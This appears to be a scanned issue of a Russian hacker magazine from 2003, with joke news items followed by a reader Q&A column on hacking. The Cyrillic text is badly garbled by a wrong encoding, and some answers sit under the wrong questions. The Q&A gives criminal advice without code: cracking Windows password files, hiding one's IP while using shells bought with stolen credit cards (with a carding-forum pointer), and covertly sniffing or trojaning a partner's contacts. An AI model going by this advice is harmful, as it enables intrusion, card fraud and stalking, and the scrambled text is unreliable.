óõîäèò íà ïîèñê ñðåäñòâà äëÿ èçáàâëåíèÿ îò çàðàçû. Îäíèì èç î÷åðåäíûõ<br />

"ïåðñïåêòèâíûõ ðåøåíèé" ñòàë íîâûé çàêîíîïðîåêò, êîòîðûå ïðåäëîæèëè íà<br />

ðàññìîòðåíèå ñåíàòîðû Êîíðàä Áåðíñ è Ðîí Óàéäåí. À âñåãî-òî è íóæíî -<br />

ïðèêàçàòü ñïàìåðñêîìó ñáðîäó óêàçûâàòü ñâîè ðåàëüíûå êîíòàêòû, âêëþ÷àÿ<br />

e-mail, è îòïèñûâàòü íå çàèíòðèãîâàííûõ "ìèëëèîíîì áàêñîâ çà íåäåëþ" þçâåðåé.<br />

À êòî íå ïîñëóøàåòñÿ - áàáêè íà áî÷êó, ïðè÷åì â íåìåðåííûõ êîëè÷åñòâàõ.<br />

Êñòàòè, íàæèòüñÿ ìîæíî áóäåò íå òîëüêî ïðàâèòåëüñòâó, íî è ðÿäîâûì<br />

ãðàæäàíàì, ïðàâäà ïîêà òîëüêî ïðè ñîäåéñòâèè ãåíïðîêóðîðà. Ðåøåíèå, èìõî,<br />

ðàçóìíîå, mindw0rk äàåò Ñåíàòó íà ïîäïèñàíèå çåëåíûé ñâåò. Îñòàëîñü<br />

òîëüêî çàñòàâèòü ñïàìåðîâ ïîä÷èíÿòüñÿ ýòîìó çàêîíó. Âåäü èçâåñòíî - äëÿ<br />

ñïàìåðüÿ çàêîíû íå ïèñàíû.<br />

ÊÎÏÈÐÀÉÒÛ ÈÇ ÆÅËÅÇÎÁÅÒÎÍÀ<br />

 àïðåëå Âëàäèìèð Ïóòèí ïîäïèñàë çàêîí "Î âíåñåíèè èçìåíåíèÿ â ñòàòüþ<br />

146 Óãîëîâíîãî êîäåêñà Ðîññèéñêîé Ôåäåðàöèè", êîòîðûé áîëüøå ïðåæíåãî<br />

óæåñòî÷àåò îòâåòñòâåííîñòü çà íàðóøåíèå àâòîðñêèõ ïðàâ. Òåïåðü îñîáî<br />

çëîñòíûå ïèðàòû ìîãóò îòïðàâèòüñÿ â êðóèç ïî Áóòûðêå íà 5 ëåò, ñ êîíôèñêàöèåé<br />

âñåãî äâèæèìîãî è íåäâèæèìîãî áàðàõëà. Áîëåå ëåãêàÿ ñòåïåíü ïðåäóñìàòðèâàåò<br />

âçûñêàíèå 200-400 çàðàáîòíûõ ìèíèìóìîâ. Íå äóìàþ, ÷òî ýòî âãîíèò<br />

â ñòóïîð íàøèõ óâàæàåìûõ ïîñòàâùèêîâ "äèñêîâ ïî 2 áàêñà êèëîãðàìì" -<br />

ó ìîíñòðîâ ðûíêà öèôðû âûçîâóò ëèøü óëûáêó, à äî òþðüìû ó íàñ äåëî â òàêèõ<br />

ñëó÷àÿõ ðåäêî äîõîäèò.<br />

Ëóæêîâ ïîáåäèë!<br />

Íà ñàéòå http://www.privacyinternational.org/activities/stupidsecurity/ ïîäâåëè<br />

èòîãè êîíêóðñîâ íà ñàìûå íåîáúÿñíèìûå, íàâÿç÷èâûå, ïðîòèâíûå,<br />

ðàçäðàæàþùèå è òóïûå ïðèìåíåíèÿ ïîíÿòèÿ "ñåêüþðèòè" â ïîâñåäíåâíîé<br />

æèçíè. Ïî÷åòíîå âòîðîå ìåñòî â íîìèíàöèè "òóïûå" çàíÿë ìýð<br />

Ìîñêâû Þðèé Ëóæêîâ çà òàêîå, íåñîìíåííî, ïîëåçíîå èçîáðåòåíèå, êàê<br />

ìîñêîâñêàÿ ïðîïèñêà. Ïîëåçíîå äëÿ ìèëèöèè, ïîëåçíîå äëÿ íàøèõ äîðîãèõ<br />

áþðîêðàòîâ, íî òóïîå è îñêîðáèòåëüíîå äëÿ äåñÿòêîâ ìèëëèîíîâ<br />

ðîññèéñêèõ è èíîñòðàííûõ ãðàæäàí, ìíîãèì èç êîòîðûõ ïðîïèñêà ðåàëüíî<br />

ïîäïîðòèëà æèçíü. Òàê ÷òî äàâàéòå ïîáëàãîäàðèì ìýðà ñòîëèöû âñåÿ<br />

Ðóñè çà òî, ÷òî îí íå äîïóñòèë íåïîïàäàíèÿ âåëèêîé äåðæàâû â ñïèñîê<br />

ÍÀ ÊÎËÅÍÈ, ÑÖÓÊÀ ÑÏÀÌÅÐÑÊÀß!<br />

Çíàåøü ëè òû àíãëèéñêèé Õîðîøî çíàåøü Âîîáùå íå çíàåøü Îí òåáå íà<br />

õðåí íå íóæåí Êàêèì áû íè áûë òâîé îòâåò, äîáðûå ðåáÿòà èç Öåíòðà Àìåðèêàíñêîãî<br />

Àíãëèéñêîãî ùåäðî ïðåäëàãàþò âñåì ñâîè óñëóãè. Çâîíè, ìîë, íàðîä,<br />

ñþäà-òî è òóäà-òî, îáó÷èì, îáóåì è ñ÷àñòüåì îáåñïå÷èì. Òàêîå ïèñüìî, íàâåðíîå,<br />

ïîëó÷èë êàæäûé ÷èòàòåëü ][. Ýïèäåìèÿ "àìåðèêàíñêîãî àíãëèéñêîãî" çàõëåñòíóëà<br />

âåñü ðóíåò, è íåò îò íåå, âðîäå áû, ñïàñåíüÿ. Àí íåò, ðóññêèõ òàê<br />

ïðîñòî íå âîçüìåøü. Ìû ñàìè òîãî êîãî óãîäíî. Ñ òàêèì äåâèçîì âûñòóïèë â<br />

"Ðóññêîì Æóðíàëå" Êåøà Æåãëîâ, ïðèçûâàÿ âñåõ îáèæåííûõ íå ìèðèòüñÿ ñî<br />

çëîì, à îòâåòèòü åìó áîëòîì íà òðèäöàòü äâà. Êîíêðåòíåå - ïîçâîíèòü ïî ïðåñëîâóòûì<br />

òåëåôîíàì: 238-33-86, 778-9894, 411-0232 è, îñâåäîìèâøèñü îáî<br />

âñåõ óñëóãàõ, çàïèñàòüñÿ íà êóðñû. Ðåçóëüòàòû àêöèè ïî õîäó îïèñûâàþòñÿ â<br />

ÐÆ è íàïðÿìóþ çàâèñÿò îò àêòèâíîñòè íàðîäà. Òàê ÷òî, åñëè õî÷åøü, ÷òîáû<br />

1 2 3 4<br />

52 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


äîáðî âîñòîðæåñòâîâàëî, è ñïàìåð íîìåð îäèí â èñïóãå ñáåæàë îò ðóíåòà â<br />

êóñòû - âíåñè â äåëî ñâîþ ëåïòó.<br />

ÐÓÑÑÊÈÅ ÕÀÊÅÐÛ - ÃÐÎÇÀ ÀÌÅÐÈÊÀÍÑÊÈÕ ÁÎËÜÍÈÖ<br />

"Ýòî åñòü ñäåëàë ýòè íåñíîñíûé ðóñèù", - òàêèì áûëî çàêëþ÷åíèå àãåíòîâ<br />

ÔÁÐ, ðàññëåäîâàâøèõ áîëüíè÷íîå äåëî. ×òî çà äåëî Äà òàê... â îáùåì, êòîòî,<br />

ïðèàòà÷èâ ê ãåéìóõå òðîÿí, âïàðèë åãî íà êîìï, íàõîäÿùèéñÿ â äåðåâåíñêîé<br />

áîëüíèöå, à ïîòîì çàëåç â win3.x ñèñòåìó è íåìíîãî òàì ïðîãóëÿëñÿ. «Êàðàóë!!!<br />

- çàêðè÷àë àäìèí ñåðîãî çàâåäåíèÿ íà îòøèáå. - Êîíôèäåíöèàëüíóþ<br />

èíôîðìàöèþ ãðàáþò!» ×òîáû ðàññëåäîâàòü ×Ï ÔÁÐ êîìàíäèðîâàëî ëó÷øèõ<br />

ñâîèõ àãåíòîâ. Áåç ñíà è îòäûõà ëþäè â ÷åðíîì íàñòîé÷èâî øëè ïî ñëåäó õàêåðîâ<br />

è, íàêîíåö, âûøëè íà ñåðâàê òåëåêàíàëà "Àëü-Äæàçèðà". Íî ÔÁÐ òàê<br />

ïðîñòî íå ïðîâåäåøü. «Ýòî îïðåäåëåííî ñäåëàëè ðóññêèå, - äîãàäàëèñü àãåíòû<br />

Äæîí è Äæåê, - ïîòîìó ÷òî òîëüêî ðóññêèå íàñòîëüêî õèòðû è êîâàðíû». Â<br />

ïå÷àòíûõ îðãàíàõ àìåðèêàíñêîãî Ãàäþêèíî òóò æå ïîÿâèëàñü ëèõàÿ íîâîñòü:<br />

"Íà íàøó ëó÷øóþ áîëüíèöó íàïàëà ðóññêàÿ ìàôèÿ!" Äåðåâåíñêèå æèòåëè ñåé-<br />

÷àñ ðàçâå ÷òî áîìáîóáåæèùà íå ðîþò... à â ýòî âðåìÿ ãäå-òî â äàëåêîì ìîíãîëüñêîì<br />

àóëå õàêýð Âàõòàíã íåäîóìåâàåò, ïî÷åìó âíåçàïíî ñòàë íåäîñòóïåí<br />

òîò ñìåøíîé êîìïüþòåð ñ äðåâíåé îñåé, íà êîòîðîì ëåæàë ðåöåïò, êàê âûëå-<br />

÷èòü åãî ëþáèìóþ êîçó.<br />

ÏÐÎ ÁÈËËÀ ÃÅÉÒÑÀ, ÌÈÐ ÅÃÎ ÏÐÀÕÓ<br />

 íà÷àëå àïðåëÿ ìèð íà ïîë÷àñà<br />

ëèøèëñÿ ñâîåãî ñàìîãî áîãàòîãî<br />

îáèòàòåëÿ. Ýòî ïîñòàðàëèñü,<br />

óãàäàéòå êòî - îíè ñàìûå, õàêåðû.<br />

Êîìó-òî èç íàøèõ ñ âàìè<br />

êîëëåã óäàëîñü ïðîðâàòüñÿ íà<br />

CNN.com è ðàçìåñòèòü òàì ñîîáùåíèå<br />

î ñìåðòè Áèëëà Ãåéòñà.<br />

Ìåññàãà íà ãëàâíîé ñòðàíèöå<br />

ïå÷àëüíî ãëàñèëà: "Óáèëè,<br />

òîâàðèùè! Çàãóáèëè ñîâñåì.<br />

Ïðèñòðåëèëè íà áëàãîòâîðèòåëüíîì<br />

ïðèåìå â Ëîñ-Àíäæåëåñå".<br />

Íå óñïåëî âñå êîìïüþòåðíîå<br />

÷åëîâå÷åñòâî âîçðàäîâàòüñÿ<br />

è ñîáûòèå îòìåòèòü, êàê<br />

ñèýíýíîâöû, øàðêàÿ íîæêîé,<br />

ñîîáùèëè: "Çâåíÿåìñÿ. Îøèáî÷êà-ñ<br />

âûøëà. Íàñ ïîõàêàëè, à<br />

Îäíà èç "óòîê", âàëÿâøèõñÿ â Ñåòè Ãåéòñ æèâ". Ìèìîëåòíàÿ óòêà â<br />

íåêîòîðûõ ñòðàíàõ âûçâàëà ÷óäîâèùíîé<br />

êðàñîòû ðåçîíàíñ. Íàïðèìåð, èíäåêñ ôîíäîâîé áèðæè â Ñåóëå ñðàçó<br />

óïàë íà 1,5%. Êñòàòè, ïðèêîëèñòû íåìíîãî îáëàæàëèñü ñ âîçðàñòîì, äîáàâèâ 48-<br />

ëåòíåìó äÿäå Áèëëó ëèøíèå 7 ëåò. Íî íå ïðåäñòàâëÿþ, êàêîé Êîëîìáî ìîã çàïðèìåòèòü<br />

â òîò ìîìåíò ýòó äåòàëü. Òàê ÷òî ðàíî ìû íàøå ñ÷àñòüå õîðîíèì. Îí<br />

åùå óñïååò ïðîäàòü âèíäó íàøèì äåòÿì, äåòÿì íàøèõ äåòåé, ïðàâíóêàì, ïðàïðàâíóêàì<br />

è âñåì îñòàëüíûì ðîäñòâåííèêàì äî äåñÿòîãî êîëåíà, à åùå âûïîëíèòü<br />

ñâîé ãëàâíûé ïëàí - ïîðàáîòèòü ÷åëîâå÷åñòâî.<br />

ÂÅÁÌÀÍÈ ÍÀ ÑÒÐÀÆÅ ÊÎÏÈÐÀÉÒÀ<br />

Ñèñòåìà WebMoney Transfer ïðåäñòàâèëà âñåì ðàçðàáîò÷èêàì ÏÎ Software<br />

Activation Service íîâóþ ôèøêó, äàþùóþ âîçìîæíîñòü çàäàâàòü êîëè÷åñòâî àêòèâàöèé<br />

â ðåæèìå Shareware è ïðèâÿçûâàòü ñâîé ïðîäóêò ê îäíîé ïëàòôîðìå.<br />

Òåïåðü ãèáêîñòü øàðîâàð íå çíàåò ãðàíèö. Íå îáÿçàòåëüíî ïîêóïàòü ñîôòèíó çà<br />

ïîëíóþ ñòîèìîñòü, ìîæíî ïðîñòî ðàñøèðèòü çà ïîëöåíû ñðîê åå äåéñòâèÿ äî<br />

ïîëóãîäà èëè êîëè÷åñòâî çàïóñêîâ íà ëèøíþþ ñîòíþ. À õèòðàÿ ñèñòåìà ðåãèñòðàöèè<br />

óíèêàëüíîãî ID êîìïà ïîêóïàòåëÿ íå ïîçâîëèò âðàãàì, óêðàâøèì ó êëèåíòà<br />

ïðîãó, çàïóñòèòü åå íà ñâîåé ìàøèíå. Îïà, âðàãîâ ìû îáìàíóëè, íî êàê áûòü<br />

ñ äðóçüÿìè À âîò òàê. Òåïåðü íà ïðîñüáó êîðåøà îáåñïå÷èòü åãî êóëâàðåçîì,<br />

ñêàæåøü: "Ôèãà, áàêëàí, ó ìåíÿ ëèöåíçèÿ, âèäàë È íå êàêàÿ-òî òàì, à íåïðîáèâàåìàÿ,<br />

îò WebMoney". Íàñêîëüêî íåïðîáèâàåìàÿ, ìû óçíàåì â áóäóùåì, íàäî<br />

ëèøü íåìíîæêî ïîäîæäàòü. Íî â ëþáîì ñëó÷àå áåç âíèìàíèÿ ýòîò<br />

ñåðâèñ âðÿä ëè îñòàíåòñÿ. Ó íàñ ìíîãî ïðîãðàììåðîâ, à ëþäåé, æàäíûõ<br />

äî äåíåã çà ñâîè òðóäû - åùå áîëüøå.<br />

5 Þíèêñîèä 6 X-Ñòèëü 7


HACK-FAQ<br />

By Î. Áðóí (hack-faq@real.xakep.ru)<br />

ÕÀÊÅÐ\¹51\Ìàðò\2003<br />

Çàäàâàÿ âîïðîñû, êîíêðåòèçèðóé èõ. Äàâàé áîëüøå äàííûõ î<br />

ñèñòåìå, îïèñûâàé àáñîëþòíî âñå, ÷òî òû çíàåøü î íåé. Ýòî ìíå<br />

ïîìîæåò îòâåòèòü íà òâîè âîïðîñû è óêàçàòü òâîè îøèáêè. È íå ñòîèò<br />

çàäàâàòü âîïðîñîâ âðîäå “Êàê ñëîìàòü www-ñåðâåð” èëè âîîáùå<br />

ïðîñèòü ó ìåíÿ “õàëÿâíîãî” Internet’à. ß âñå ðàâíî íå äàì, ÿ æàäíûé :)<br />

Ãäå â Windows<br />

XP õðàíÿòñÿ<br />

êýøèðîâàííûå ïàðîëè,<br />

êàê èõ äîñòàòü<br />

A: Ôèëîñîôèÿ áåçîïàñíîñòè XP ïðîèñõîäèò èç<br />

êëàññè÷åñêîé, NT'âîé, ò.å. ïðàêòè÷åñêè óíèâåðñàëüíà<br />

äëÿ âñåé ëèíåéêè NT/2000/XP. Îòñþäà âûòåêàþò<br />

è òå æå ìåòîäû âûáèâàíèÿ ïàðîëåé èç<br />

ñèñòåìû. Ôàéë ïàðîëåé ïðÿ÷åòñÿ â Ñèñòåìíîé<br />

ïàïêå/system32/config è íàçûâàåòñÿ SAM (Security<br />

Account Manager). Ïîëó÷èòü ïðÿìîé äîñòóï ê<br />

ôàéëó âî âðåìÿ ðàáîòû ñèñòåìû - íåâîçìîæíî.<br />

×òîáû åãî äîñòàòü, ñëåäóåò ïåðåçàãðóçèòüñÿ èç<br />

äðóãîé îïåðàöèîíêè, ñäåëàâ êîïèþ èñêîìîãî<br />

ôàéëà. Òàêæå, äàæå íå ñîâåðøàÿ ïåðåçàãðóç,<br />

ìîæíî ñòÿíóòü ôàéë èç Ñèñòåìíîé ïàïêè/repair,<br />

ó÷èòûâàÿ, ÷òî âàëÿþùàÿñÿ çäåñü âåðñèÿ SAM'à<br />

ìîæåò áûòü óñòàðåâøåé (íå âñå ó÷åòíûå çàïèñè<br />

îòîáðàæåíû, íå îòìå÷åíà ñìåíà ïàðîëåé äëÿ àêêàóíòîâ).<br />

Èìåÿ ôàéë íà ðóêàõ, ìîæíî ïðèñòóïàòü<br />

ê ëîáîòîìèè, âñêðûòèþ íàõîäêè äëÿ ñëèâà èíôû.<br />

Êëàññè÷åñêèé ñêàëüïåëü - LC4 îò @stake îòäûõàåò<br />

íà http://www.atstake.com/research/lc/download.html,<br />

íàèëó÷øàÿ ðåàëèçàöèÿ èäåè - LC+4<br />

http://lcp.nm.ru/, êîòîðàÿ óìååò ðàáîòàòü òàêæå ñ<br />

íåëàòèíñêèìè ïàðîëÿìè. Çà äîïîëíèòåëüíîé èíôîé<br />

ëåçåì íà http://www.bugtraq.ru/library/security/passwords.html.<br />

Òàêæå ñîâñåì íåäàâíî âûøëà<br />

SamInside V2.0 äëÿ ðàñøèôðîâêè sam'öîâ -<br />

http://www.insidepro.com/.<br />

×òî äåëàòü/þçàòü<br />

äëÿ óäàëåííîãî<br />

àäìèíèñòðèðîâàíèÿ<br />

(õî÷ó ìîíèòîðèòü<br />

äðóãàíà) Ìû -<br />

ìîäíûå, ó îáîèõ ñòîèò<br />

winXP. Êàêîé ñàìûé<br />

ïðîñòîé ñïîñîá<br />

A: Åñëè âû óïàêîâàííûå ïàðíè íà XP, òî ñàìûì<br />

ïðîñòûì áóäåò èñïîëüçîâàíèå RD<br />

(Remote Desktop), óòèëèòà, âêëþ÷åííàÿ â íîâóþ<br />

âèíäó ïî óìîë÷àíèþ. Òû ïîëó÷àåøü ïîëíîöåííûé<br />

äîñòóï ê åãî äåñêòîïó è ìîæåøü âûòâîðÿòü<br />

âñå, ÷òî ìîæåò îí ñàì (ïðàâà äîñòóïà<br />

÷åðåç RD ìîãóò áûòü ðàçëè÷íûìè). Ñóùåñòâóåò<br />

êó÷à àíàëîãè÷íûõ ðàçðàáîòîê îò ñòîðîííåãî<br />

ïðîèçâîäèòåëÿ. Ïðèçíàííûé ãðàíä è çíàê êà-<br />

÷åñòâà - Remote Admin (www.radmin.com), êîòîðûé,<br />

óâû, òóãîâàò íà îáíîâëåíèÿ.<br />

Ðàññêàæè<br />

ïðî dial-out è ÷òî ñ<br />

íåãî ìîæíî ñîñòðè÷ü.<br />

A: Íå òîëüêî ó òåáÿ åñòü ñâîé ìîäåì. Ñóùåñòâóþò<br />

è äðóãèå ñ÷àñòëèâûå îáëàäàòåëè, êîòîðûå<br />

òàêæå îòêðûâàþò äîñòóï ê ñâîåìó çâåðþ èç Ñåòè.<br />

Òû ñîåäèíÿåøüñÿ ñ ìàøèíîé IP dial-out'a, è ìîæåøü<br />

èñïîëüçîâàòü ìîäåì óäàëåííî, ò.å. ìóòèòü<br />

êîííåêò ñ íîìåðà äðóãîé ìàøèíû, ñîçäàâàÿ âèðòóàëüíîå<br />

ñîåäèíåíèå. Ñåðâèñ áûë è îñòàåòñÿ ïîïóëÿðíûì<br />

ñðåäè êîðïîðàòèâíûõ þçåðîâ, êîòîðûì<br />

íåîáõîäèìî ïðîçâîíèòü ìîäåìíûå íîìåðà<br />

çà áóãðîì: èç Ñåòè îíè ïîäðóáàþòñÿ ê ñåðâåðó,<br />

íàõîäÿùåìóñÿ â íóæíîì ãîðîäå, è óæå îòòóäà òåëåôîíÿò<br />

â íóæíîì íàïðàâëåíèè. Õàêåðó æå ñèÿ<br />

âîçìîæíîñòü ïîëåçíà äëÿ óñòàíîâêè óñëîâíî-àáñîëþòíîé<br />

àíîíèìíîñòè: dial-out ñòîèò â Àôðèêå,<br />

îòêóäà òû ïðîçâàíèâàåøüñÿ ìåñòíîìó ïðîâàéäåðó,<br />

à îí â ñâîþ î÷åðåäü ëîâèò â ëîãè âûõîä ñ<br />

ìåñòíîãî òåëåôîííîãî íîìåðà. Dial-out'û ìîæíî<br />

íàñòðàèâàòü ñàìîìó íà çàõâà÷åííûõ ìàøèíàõ<br />

èëè äðóæåñêîì ñåðâàíòå - ñóùåñòâóåò àðõèóäîáíûé<br />

FAQ Linux: How-To Dial-Out. Åñëè ïîëîìàííûõ<br />

ìàøèí íåò, èëè àäìèíèñòðèðîâàòü íå äîâåðÿþò,<br />

èùåì óæå óñòàíîâëåííûå dial-out'û. Îíè<br />

îáû÷íî âèñÿò íà ïîðòàõ 2001-2012. Áûâàþò èçâðàòû,<br />

êîòîðûå ìîæíî âûÿâèòü ïðè íàëè÷èè äîñòóïà<br />

ê ñåðâåðó (èùåì dial-out ñåðâèñ â ïðîöåññàõ,<br />

êîïàåì ôàéëû íàñòðîåê). Íåñêîëüêî óñòàðåâøèé,<br />

íî ñëåãêà ïîëåçíûé ìàòåðèàë ïî òåìå -<br />

http://www1.xakep.ru/post/15523/default.asp.<br />

Ìîæíî êóïèòü è ãîòîâîå ðåøåíèå, îáû÷íî ïðåäîñòàâëÿåòñÿ<br />

çëîáíûìè õàêåðàìè - forum.carderplanet.net.<br />

ß ðàññûëàþ<br />

òðîÿíîâ ïî÷òîé. Êàê<br />

ìíå áûòü â êóðñå, ÷òî<br />

ïèñüìî áûëî ïðî÷òåíî<br />

A: Óñòðîéñòâî ïðîòîêîëà SMTP íå ïðåäïîëàãàåò äåôîëòîâîãî<br />

îïîâåùåíèÿ î ïðî÷òåíèè. Òû áóäåøü â<br />

êóðñå, ÷òî ïèñüìî äîøëî, ëèøü åñëè àäðåñàò àâòîìàòè÷åñêè<br />

îòâå÷àåò ðåïëèêîé âðîäå: "Ïèñüìî áûëî<br />

ïîëó÷åíî, æäèòå îòâåòà". Ïîäîáíîå ðàáîòàåò â ðÿäå<br />

ïî÷òîâûõ êëèåíòîâ (The Bat! - "Ïîäòâåðæäåíèå î<br />

ïðî÷òåíèè"), à òàêæå íåêîòîðûõ e-mail ñëóæáàõ.<br />

ß íèêàê íå<br />

ïîéìó, ÷òî çà Îòäåë "Ð"<br />

A: Ïîíèìàòü íå îáÿçàòåëüíî, ò.ê. äàííûé îòäåë<br />

áûë ðåôîðìèðîâàí â êîíöå 2001 è ïåðåèìåíîâàí<br />

â Îòäåë "Ê". Åñëè æå ãîâîðèòü îá îðèãèíàëüíîì<br />

ïðîôèëå "Ð", òî ýòèìè áîéöàìè çàòðàãèâàþòñÿ<br />

ñëåäóþùèå îáëàñòè êðèìèíàëüíîãî áûòèÿ:<br />

"áîðüáà ñ íåçàêîííûì îáîðîòîì ðàäèîýëåêòðîííûõ<br />

ñðåäñòâ è ñïåöèàëüíûõ òåõíè÷åñêèõ ñðåäñòâ,<br />

áîðüáà ñ ïðåñòóïëåíèÿìè â ñôåðå êîìïüþòåðíîé<br />

èíôîðìàöèè è â òåëåêîììóíèêàöèîííûõ ñåòÿõ, â<br />

ñôåðå íåçàêîííîãî èñïîëüçîâàíèÿ èíôîðìàöèîííûõ<br />

ðåñóðñîâ è íîñèòåëåé èíôîðìàöèè; áîðüáà<br />

ñ ïðåñòóïëåíèÿìè â îáëàñòè àâòîðñêèõ è<br />

ñìåæíûõ ïðàâ" (ñ) stop.lipetsk.ru. Ãîâîðÿ ðóññêèì<br />

ÿçûêîì: îòñëåæèâàíèå è ëèêâèäàöèÿ çàïðåùåííûõ<br />

äåâàéñîâ, êàê òî àïïàðàòóðà äëÿ ïðîñëóøêè è<br />

ìîíèòîðèíãà; õàêåðñòâî (ïðîìûøëåííûé øïèîíàæ),<br />

ôðèêåðñòâî; ïèðàòñòâî, íàðóøåíèå êîïèðàéòîâ.<br />

Îòäåëû "Ð" ñóùåñòâóþò ïðè áîëüøèíñòâå<br />

ðåãèîíàëüíûõ îòäåëåíèé ÌÂÄ, íà÷èíàÿ ñ Ìîñêâû<br />

è çàêàí÷èâàÿ ñîâñåì íåáîëüøèìè ãîðîäàìè íàøåé<br />

Ðîäèíû. Íà÷èíàþùåìó êèáåðïðåñòóïíèêó<br />

ñëåäóåò ïðîáåæàòüñÿ ïî ñàéòàì îòäåëîâ, òàì èçðåäêà<br />

áûâàþò çàíÿòíûå ìàòåðèàëû (à-ëÿ "Ñóäåáíàÿ<br />

ïðàêòèêà êîìïüþòåðíûõ ïðåñòóïëåíèé"),<br />

ëèíêè òóò: http://klax.tula.ru/~uvd/in2.php3p=2.<br />

ß ïîêóïàþ íà<br />

êðàäåíóþ êðåäó øåëë,<br />

íî çàòåì, çàõîäÿ íà<br />

unix-ñåðâàê ÷åðåç SSH,<br />

ñâå÷ó ñâîé ðåàëüíûé<br />

IP. Âåäü òàê ìåíÿ ýëåìåíòàðíî<br />

âû÷èñëÿþò.<br />

Êàê æå ëþäè èñïîëüçóþò<br />

øåëëû<br />

A: Ëþäè èñïîëüçóþò çàêîííî ïðèîáðåòåííûå<br />

øåëëû ;), à âèðòóàëüíûå ×èíãà÷ãóêè äåéñòâóþò<br />

òàê. Âî-ïåðâûõ, êòî ìåøàåò èñïîëüçîâàòü òå æå<br />

ïðîêñè (Socks'û) ïðè ñîåäèíåíèè, îñîáåííî èõ<br />

êàñêàä (www.ufasoft.com/socks) Ëþáèìûé<br />

SecureCRT èìååò ïîääåðæêó ïðîêñè. Âî-âòîðûõ,<br />

çàõîäèòü íà øåëë-ñåðâåð òû ìîæåøü íå<br />

òîëüêî ñ ëîêàë-õîñòà, íî è äðóãîé óäàëåííîé<br />

ìàøèíû (÷àùå - *nix, îáû÷íûì ssh shell.server.com<br />

-l login), òîãäà â ëîãàõ øåëë-ïðîâà çàñâåòèòñÿ<br />

óäàëåííàÿ òà÷êà, à íå òâîÿ ñîáñòâåííàÿ.<br />

Â-òðåòüèõ, ðåàëüíûé IP ó "ðåàëüíûõ ïàöàíîô"<br />

ìîæåò áûòü î÷åíü ñïåöèôè÷åñêèì, ê ïðèìåðó,<br />

âûäåëåííûì dial-in ñåðâåðîì òâîåãî êîðåøà-àäìèíà,<br />

êîòîðûé âñå abuse'û áóäåò ïîñûëàòü<br />

íà ôèã. Íàïîñëåäîê, åñëè òû íå ñèëüíî<br />

áåñïðåäåëüíè÷àåøü íà øåëëå, òî âðÿä ëè òîáîé<br />

çàéìóòñÿ èç-çà ýêñïðîïðèèðîâàííûõ 10 ó.å.<br />

1 2 3 4<br />

54 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Ìîÿ äåâàõà<br />

ïî õîäó êðóòèò øàøíè<br />

ñ êîçëîáîðîäûì èç<br />

åå äîìàøíåé ëîêàëêè.<br />

ß ñàì íà äèàëàïå,<br />

âêëþ÷àþ ñíèôåð<br />

CommView, íî âèæó<br />

òîëüêî ñâîè ïàêåòû.<br />

Êàê ìíå èõ óëè÷èòü,<br />

ñîñíèôàòü<br />

ß óâåðåí,<br />

÷òî âû ñëûøàëè<br />

ïðî ïðîâàéäåðà<br />

SITA. Ñàì ÿ òîëêîì<br />

íå çíàþ, ÷òî ýòî,<br />

íî çíàþ, ÷òî<br />

ñ ïîìîùüþ "ýòîãî"<br />

ìîæíî ëåãàëüíî<br />

è áåñïëàòíî ñèäåòü<br />

â èíåòå! Êàê ñîçäàòü<br />

ñêðèïò è âñå òàêîå<br />

A: Ïî÷åìó æå òû åùå CitiCorp.com ïîêà íå ñîñíèôàë<br />

Ïî òîé æå ïðè÷èíå íå ïîëó÷àåòñÿ è ñ "äðóçüÿìè":<br />

òû ôèçè÷åñêè íå ÿâëÿåøüñÿ ÷ëåíîì èõ ñåòè.<br />

Åñëè æå íóæíî ñîñíèôàòü, ïðèäåòñÿ âëîìèòüñÿ â<br />

íóæíóþ ñåòü è ïîñòàâèòü ñíèôåð íà îäíó èç òàìîøíèõ<br />

ìàøèí: íå÷òî âðîäå íåçàìåòíîãî The<br />

Gobbler/poorsniffer äëÿ win èëè ëþáîé êîíñîëüíûé<br />

äëÿ *nix. Ïîäîáíîå ïîëó÷èòñÿ áåç ïðîáëåì, åñëè<br />

íóæíàÿ ñåòêà ïîñòðîåíà íà õàáàõ, à íå íà<br />

switch'àõ. Åñëè æå âñÿ ñåòü ñèäèò çà îäíèì âíåøíèì<br />

IP, è íèêàê íå ïîëó÷àåòñÿ çàõâàòèòü ìàøèíó â<br />

ñåòè, òî ëîãè÷íûì áóäåò çàõâàò öåëîãî ïðîâà ëîêàëêè.<br />

Ìåòîäû ñíèôèíãà îñòàþòñÿ ïðåæíèìè. Åñëè<br />

æå òû îëèãàðõ, òî ìîæíî ïîäêóïèòü àäìèíèñòðàòîðà<br />

ñåòè, ÷òîáû òîò ñîáðàë ëîãè íà íóæíûõ ëþäåé.<br />

Åñòü âàðèàíò è ñ ôèçè÷åñêèì ïîäêëþ÷åíèåì<br />

ê ñåòè - íîóòáóê â ëàïû, öåïëÿåìñÿ ê ñåòè (ðåæåòñÿ<br />

ñåòåâîé êàáåëü â ïîäúåçäå), íàñòðàèâàåìñÿ êàê<br />

íîðìàëüíûé þçåð, ñíèôèíã â äåëå. Õîòÿ åñòü ñîìíåíèÿ,<br />

÷òî ìîæíî äîëãî ïðîòîð÷àòü â ïîäúåçäå,<br />

îæèäàÿ íóæíîãî ðàçãîâîðà â ñåòè.  èòîãå ïîëó÷àåòñÿ,<br />

÷òî ïðîùå ïîëó÷èòü äîñòóï ê ìàøèíàì ëþáîâíèêîâ<br />

(ïðîòðîÿíèòü).<br />

Êàê<br />

îïðåäåëèòü IP þçåðà,<br />

çíàÿ åãî email Êàêèå<br />

ïîäâîõè ñ ýòèì<br />

A: ][ íå òîëüêî ñëûøàë, íî è ïèñàë<br />

http://www.xakep.ru/magazine/xa/032/052/1.htm.<br />

Âî-ïåðâûõ, ñëåäóåò ïîíÿòü, ÷òî ÑÈÒÀ<br />

(www.sita.int) - ãëîáàëüíàÿ ñåòü, à íå ïðîâàéäåð.<br />

Êîíòîðà îðãàíèçîâûâàåò äîñòóï ïî âñåìó ìèðó<br />

ñâîèì ãëàâíûì çàêàç÷èêàì - ñîòíÿì àýðîïîðòîâ<br />

ïî âñåìó ìèðó. Ñóùåñòâóþò ïðîâàéäåðû, êîòîðûå<br />

ïðîäàþò ìîäåìíûé äîñòóï ÷åðåç ìåæäóíàðîäíûå<br />

ñåðèè ïóëîâ SITA - iPass.com è èæå ñ<br />

íèì. Âî-âòîðûõ, êàê ëåãêî äîãàäàòüñÿ íàøåìó<br />

÷èòàòåëþ - áåñïëàòíî è ëåãàëüíî, â ñëó÷àå èíåòà<br />

îò ãëîáàëüíîé ñåòè - âåùè íåñîâìåñòèìûå.<br />

